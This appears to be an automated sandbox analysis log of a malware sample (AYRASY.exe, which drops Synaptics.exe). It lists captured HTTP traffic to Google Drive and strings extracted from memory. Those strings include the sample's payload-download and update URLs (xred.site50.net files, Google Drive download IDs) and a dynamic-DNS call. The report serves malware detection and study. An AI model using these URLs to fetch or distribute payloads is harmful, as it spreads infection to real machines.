NID=520=Y_PNLw8RAdUj4J1fOerPMq8Ej9LvL1f7eF6_piOgXJNptBE8qxvPOkddsBqHD9gQOeCrJToQuet-_tokPg-JdZJiqyAu88gCyYeyuE48kpaD4y1_QnonBLTPPkt56ERiisqn6OfLmXRqnXEdx-shuyT3q60FEk5q_r3UTpHE8-DK_GE5EajAs4Vr; expires=Tue, 01-Jul-2025 10:24:24 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6dn2YiMuFrEVz30xh86cgW93-3PVpCeJYuVa-n7kyBql0GKo1hFdSgyDauFKoAoV1TqsuSZjIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:25 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-RyFGItg9gk3Hmp-F8ePMjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls; expires=Tue, 01-Jul-2025 10:24:25 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5OUs6SLq_gifeKaWfdpW8szT43R6AulKqLDrTgdYvBbpR3pbfDkd0ReVRyEkQDO-S3nK3tmcYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:25 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Npx_MsSYLtwC38RCVckNlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5PadOovM7s9q5Wk1FfDLTsnskZrz30GV1YL-mQ5BpWt77CpHEb_GtuOiyxHGGXeWRZM0rBR2YContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:26 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-blAmeqrZ0EEv6NGq11xvow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC46BymJCRqKBorebc2NonONRqLKZVtdOnh7C0s5guQ8geNTZrtyaCD-QHzcNnidF8YOContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:27 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-9v7le9JNVb7QErAUUIhmVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Eq4TD4ILL790l7uH5J7z2wbhr4Zmgs6GN2XBwQlw4ULxXgrDMJE5CbSQxx2bJnMtYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:28 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-hU4WgPMxJNCXNXDc4w6K0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC62pXpF9gPxS4A8wBQVnREIVhhZgjAjf-LpjAHz2m6qfDN1JYdmwcJAmCFIEIo2nkK4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:29 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-pJ21Rb7YEukVyuqOnJ_5cQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5H8Rf2gxopgfU0LNy-PTnvK8i1CW1NpBbzXJGXOXOtCKkUv8iXakdI_QrBpvRvClQZContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:29 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fntrifWRNxc3w0N0Tpos8Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7kehbyELL0W91XsWCbMg9moQ5Wzh-IbfwZp6bVz_HIu12WHEwQX_rE4NWCjY54xl4KContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:24:35 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-kbX6avv9aSR2lRkvvhaC_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: AYRASY.exe	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000003.00000002.2436766309.000000000072B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc6135629787
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978;X
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978l
Source: ._cache_AYRASY.exe, 00000002.00000002.3416162659.00000000046DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-score.com/checkip/
Source: Amcache.hve.17.dr	String found in binary or memory: http://upx.sf.net
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl8
Source: AYRASY.exe	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: AYRASY.exe	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini0.
Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: AYRASY.exe	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dhttps://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.000000000072B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/8
Source: Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/der
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/google.com/
Source: Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/load?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/neer
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/oogle-analytics.com
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ty
Source: Synaptics.exe, 00000003.00000002.2455890398.00000000083BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2444140781.000000000617E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMX
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: AYRASY.exe	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: AYRASY.exe	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$J
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005565000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&H
Source: Synaptics.exe, 00000003.00000002.2441515499.00000000055D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-Form
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-arch
Source: Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download024
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000003.00000002.2436766309.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download13
Source: Synaptics.exe, 00000003.00000002.2436766309.000000000076B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6K
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6O
Source: Synaptics.exe, 00000003.00000003.2356535180.0000000005615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8Q
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000003.00000003.2337108577.0000000005592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;O
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;max-
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=2592
Source: Synaptics.exe, 00000003.00000002.2436766309.000000000076B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000003.00000002.2441515499.00000000055D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000003.00000002.2436766309.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD3
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
